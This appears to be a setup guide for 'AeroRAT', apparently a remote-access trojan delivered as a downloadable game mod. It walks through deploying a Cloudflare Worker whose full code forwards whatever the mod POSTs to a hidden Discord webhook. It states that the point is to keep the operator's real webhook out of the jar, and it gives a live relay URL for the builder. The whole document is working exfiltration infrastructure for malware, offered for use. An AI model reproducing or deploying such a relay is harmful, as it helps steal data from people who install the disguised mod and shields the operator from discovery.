AeroRAT

Why bother: the mod only ever sees one tidy …workers.dev URL, and the worker quietly forwards it to Discord. Your real webhook never ends up inside the downloaded jar.

1. Create the Worker — go to dash.cloudflare.com → Workers & Pages → Create → Create Worker. Name it — mine is shrill-tree-3374, anything works — and hit Deploy.
2. Replace the code — open Edit code, delete the default script, paste the relay below exactly, then Save and deploy:

export default {
  async fetch(request, env) {
    const cors = {
      'Access-Control-Allow-Origin': '*',
      'Access-Control-Allow-Methods': 'POST, OPTIONS',
      'Access-Control-Allow-Headers': 'Content-Type, X-Hook-Secret',
    };

    if (request.method === 'OPTIONS') {
      return new Response(null, { status: 204, headers: cors });
    }
    if (request.method !== 'POST') {
      return new Response('Not Found', { status: 404, headers: cors });
    }

    // optional lock: leave HOOK_SECRET unset unless hand-testing with curl
    if (env.HOOK_SECRET && request.headers.get('X-Hook-Secret') !== env.HOOK_SECRET) {
      return new Response('Forbidden', { status: 403, headers: cors });
    }

    const len = Number(request.headers.get('Content-Length') || 0);
    if (len < 1 || len > 8000) {
      return new Response('Bad Request', { status: 400, headers: cors });
    }

    try {
      const body = await request.text();
      await fetch(env.DISCORD_WEBHOOK, {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body,
      });
      return new Response('OK', { status: 200, headers: cors });
    } catch (err) {
      return new Response('Error', { status: 500, headers: cors });
    }
  },
};

3. Bind your Discord hook — on the worker's page go to Settings → Variables and Secrets → Add → Secret. Name it DISCORD_WEBHOOK; the value is your Discord webhook URL, e.g. https://discord.com/api/webhooks/1111222233334444/xxxxxxxxxxxxxxxxxxxxxxxx (keep that token private — it only ever lives inside the worker).
4. Grab the URL — the worker's address is shown at the top; mine is https://shrill-tree-3374.kulakov-42q1v.workers.dev. Paste that into the Build tab instead of the raw Discord hook.

Ready to paste into the Build box — this string works right now:

https://shrill-tree-3374.kulakov-42q1v.workers.dev

The worker supports an optional HOOK_SECRET + X-Hook-Secret handshake, but the mod doesn't send one — leave it unset unless you're testing requests by hand.